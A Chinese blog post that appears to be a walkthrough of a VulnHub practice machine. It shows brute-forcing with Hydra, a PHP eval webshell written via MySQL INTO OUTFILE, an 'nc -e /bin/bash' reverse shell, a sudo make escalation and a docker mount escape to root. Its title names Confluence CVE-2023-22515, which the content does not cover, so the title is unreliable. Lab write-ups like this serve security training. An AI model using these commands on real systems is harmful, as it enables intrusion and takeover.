Confluence CVE-2023-22515漏洞复现

前言

是时候水篇博客了，打开vulnhub。找个靶机练练手- -

用到的方法

• nmap scan port
• hydra爆破
• mysql into outfile写shell
• sudo -l提权

过程

fping -ag 192.168.241.0/24 > zz.txt

确定靶机ip为192.168.241.169

nmap -Pn -sV 192.168.241.169

80打开Apache默认页面

8080显示了几个路径（test.php是我的shell）

图片全部脱下来binwalk没啥特殊的全部删了

其他路径

dirb跑了没结果

hydra爆破ftp、爆破mysql。结果mysql爆破成功了

mysql连上，先翻了一波数据库啥都没有

页面提示了web路径为/var/tmp，那就写shell吧

select '<?php @eval($_POST[a]);?>' into outfile '/var/tmp/test.php';

菜刀发现连不上..直接chrome的hakbar搞算了

先到home目录里走一手，把user.txt拿了

反弹shell

nc -e /bin/bash 192.168.241.168 4444

sudo -l一波

切换到dusk用户

COMMAND='/bin/sh'
sudo -u dusk  make -s --eval=$'x:\n\t-'"$COMMAND"

（这个nc发神经）

内核版本没法用exp，ps -elf | grep root找了一波root的服务

发现docker在运行，直接提取即可

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。